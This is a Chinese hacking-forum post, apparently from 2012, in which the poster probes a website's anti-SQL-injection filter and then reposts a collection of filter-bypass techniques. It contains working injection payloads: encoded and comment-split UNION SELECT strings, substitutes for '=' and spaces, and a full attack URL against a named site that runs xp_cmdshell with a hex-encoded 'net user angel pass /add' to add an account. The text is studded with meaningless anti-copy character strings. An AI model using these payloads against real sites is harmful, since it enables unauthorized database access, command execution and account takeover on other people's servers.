找回密码
 立即注册
查看: 3196|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下./ H' l/ q! i% x# g. M
http://www.xxx.cn/Article.asp?ID=117 and 1=1
* ]% h5 ]/ f3 M  A* T直接返回主页
; y9 ~, {/ ^* B5 Whttp://www.xxx.cn/Article.asp?ID=117 or 1=1
  L2 S& ]7 k, l0 Y' ^4 G+ f直接返回主页2 P( e2 j2 _9 f  M" U
http://www.xxx.cn/Article.asp?ID=117 or
4 n: c& o: m& r2 A9 J! [没有返回主页 没有过滤or# r! ]% s, Q4 g! }: g( U
http://www.xxx.cn/Article.asp?ID=117 and
# R" |% i7 P7 W; G# _直接返回主页 看来过滤了and, W' p+ N1 }( q9 h! o  ]) L. k
http://www.xxx.cn/Article.asp?ID=117 or 1
# R+ ^; Y) n# ]( d' x% h, @没有返回主页 即没有过滤or 也没有过滤1
* D/ j$ Z7 m: Xhttp://www.xxx.cn/Article.asp?ID=117 or 1=1! s0 k+ Y$ t9 z" y4 C" r9 a
直接返回主页 很明显过滤了等号
2 l) G$ O( q) Hor的特性是与and相反的.& T! t4 p( ]! V. {* Y! f/ N9 \
or 1=1 爆错 或与原页面不同  A  j0 d; u+ C- p7 u# Z
or 1=2 原页面相同
% G- B: w) M2 u# k- H0 {这样就是一个注入点+ c/ B  x$ ?4 [
但他过滤了=号 我就用><号代替=号吧!) ]$ m/ l) z7 i9 t
or 1<2 很明显是正确的,所以应该与原页面不同
. J8 P$ ?, @' ~# _2 B% uor 1>2 很明显是错误的,所以应该与原页面相同
2 c( K% x1 m) `. e7 d7 e) q然后看看有没有过滤其他的查询语句,比如select.6 ~* Z% L6 e9 J& W
http://www.xxx.cn/Article.asp?ID=117 select
- @2 x5 Q+ G( x, l4 R' D7 T6 S直接返回主页
$ c3 \+ ^" v) [  @( @+ _7 W& y又迷茫了... }3 r: M! R2 Y
: k( X. [$ x. g, T2 G6 h# k

: G$ ]; o1 V9 N( O! Acookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
" z& ]) a# _6 B/ t+ b; e; m& c; B这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)" G: R2 d0 \5 U
================================================, A5 E5 X; `0 l" k7 E5 F
以下是转贴:. U6 {1 [( |8 A5 s' Z; D9 t5 E, b
$ R5 W6 z' N, p) r, Y, ?. U7 [
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
0 P7 N; a6 ]& }' Z0 C3 q经过我的收集,大部分的防注入程序都过滤了以下关键字: , Q2 i) W: Y' X, n; ~+ s
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
+ V1 |! F2 @8 k3 K- B( g4 [而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
6 s( |. C" S. S对于关键字的过滤,以下是我收集的以及我个人的一些想法。
% H' m( o+ r' {$ x( @! K/ @1、运用编码技术绕过
0 A# l' k5 p9 e: r. U如URLEncode编码,ASCII编码绕过。例如or 1=1即 + g" @  w1 S- X. i
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
% P! e3 M" n( a  X" ?$ B/ {% e- Q8 t" |: M1 S  U
2、通过空格绕过
6 y* |$ @  f/ V如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
3 ~0 ]) Z7 \. _/ Y# n& Wor’ swords’ =‘swords’ 6 {, t  F) Y2 _4 |& I; J& N
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 + H7 R$ H* X5 c5 l6 H9 F
3、运用字符串判断代替
0 `4 ~5 u: R! ?& f用经典的or 1=1判断绕过,如 7 {6 A6 j% n6 D4 c8 B* d! p
or ’swords’ =’swords’ * l/ C+ L5 p& k+ W# D
,这个方法就是网上在讨论的。
1 n) C' a5 `- w4 E4、通过类型转换修饰符N绕过 1 Z. B5 g- V% c# h2 a7 h9 J0 c
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 6 r. t, m) u6 U, X5 c& o
5、通过+号拆解字符串绕过 3 T% l7 \1 R4 u$ }9 \. T4 e' w
效果值得考证,但毕竟是一种方法。如 ) P5 I7 F" y! f+ Z' o
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) : j, X: v0 i, j% u9 t2 V9 o

. x) A& u* |* y3 V! o2 u6、通过LIKE绕过
. G, c. a% u) m1 G( B' i* _0 N以前怎么就没想到呢?如or
. t1 c6 k3 C" R8 U' E! @0 h’swords’ LIKE ’sw’ ; c* I/ N6 A7 z0 T7 G- N6 B! s
!!!显然可以很轻松的绕过 ' S; [; r+ @: N
“=”“>” + L# D1 s; {) k2 u+ d  b- J+ d* D
的限制……
3 n1 v3 ?/ z; p+ O* v  u$ K7、通过IN绕过
" {( T4 E- l) d8 y2 Y; x. D3 q与上面的LIKE的思路差不多,如
* i" {* Y" k" E6 y) cor ’swords’ IN (’swords’)
. I) f& }' u: D6 L
) R5 `* O+ k2 [3 z8、通过BETWEEN绕过 ) v( }$ z8 v4 G  B4 ~8 _0 ~& i% U
; J% f, ?2 D+ X0 R' A
or ’swords’ BETWEEN ’rw’ AND ’tw’
7 Y  @. N$ o! \! u, l9 r, G
2 I0 W" q! f6 L; b* t1 o0 w9 S9、通过>或者<绕过 ; a, }; O+ [( h' w2 M; Z
or ’swords’ > ’sw’ 6 k2 _4 y) t8 F& s
or ’swords’ < ’tw’ - ^+ w4 p% f- }$ Y7 J) U+ M
or 1<3 0 G+ a  d7 q* t6 C; [( N
…… 7 m" Q' o& |% q) C$ _1 L4 E) X$ |7 I
10、运用注释语句绕过 ' ]2 S. m9 z& |. {
用/**/代替空格,如:
9 T+ F! \8 M$ `- s. iUNION /**/ Select /**/user,pwd,from tbluser
( F9 r' n) w$ o2 r9 K! j1 K' V3 k- k- T2 ~( n- O) Q
用/**/分割敏感词,如:   H* K+ W0 ^  T7 z' R  a% G
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
6 V( S+ k1 q4 g  w
- l# P: Z6 B! P' B11、用HEX绕过,一般的IDS都无法检测出来 $ p* P4 G% ^! D; c" _
0x730079007300610064006D0069006E00 =hex(sysadmin) 0 P  t2 {0 ?2 c8 Z9 Y' \5 v
0x640062005F006F0077006E0065007200 =hex(db_owner)
4 Z- e# ]+ ^- P另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ) W/ S- h  ^. f  J) w
  declare @a sysname # o4 i& i/ K% D) P& `9 [; J3 a
  select @a= & l; L. v  z3 l) h$ t. r, Q# W6 G
  exec master.dbo.xp_cmdshell @a
0 |  Z; {; @8 x" {( O5 Z效果 8 o4 G2 I7 |/ |& [, J
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--   }) O/ l; [/ U; M
1 ^3 Y& K! j$ C! |  d
其中的 4 X* _! R% p9 K* e: C8 v4 p
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 " k* c9 d* G' m6 p9 M3 S7 G. V
就是 , X* ?8 `& W* k# V
“net user angel pass /add”
& s  ~; Q0 l( Y1 q  ^
+ k9 @) o+ l2 A  c, g一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
5 q. R5 ?3 ^) r4 Z引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
7 j. J' V! Z1 F7 B2 N& k另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似) Z# f5 y7 T# P9 f( \
Copy code4 w8 K+ ~3 l3 V" d
select * from table exec xp_cmdshell'xxxxxxxxxx'7 h* g& _' I+ C
& l' z& N. q$ t9 M6 r& U
8 O0 m; U* W9 T: T' K
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'3 P9 c. H: z# q3 q$ _
1 U( B% F) _, h" E8 J
4 S- X9 Z5 h% K8 n2 ]" L& a& D% q
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
# V1 G1 z/ _- i; o: B0 X; R4 G# [9 q+ d# E, Q. [
/ ?9 ?9 X& O; ]2 w
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'5 ?$ D. v9 E& x2 F; a1 h! Q2 l

2 M% ~2 z' S, [% [' @的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
/ R, J! J: \- ]/ N$ f
# H& }# R" B& p5 e8 v这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了. R5 {( E; F$ W( l8 M
可能大家早就知道了,不管怎么说,发在这里吧!& ^3 R! h+ B. Y/ ?
) g1 _) T) |3 n0 w
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。2 E& r( p! T" G3 _: D* I4 \( E: h
5 r1 M9 v1 y+ U( g4 v; P" W
9 ^% l1 o) S3 u( s6 B" s; @8 z

! X2 Q% E/ @- T8 x; O6 i对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
  n/ L8 [1 J, q( O# Z1 o比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 5 H. y* T( {+ h  J1 q+ o) [0 M

3 S0 A1 s/ R# ^* V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表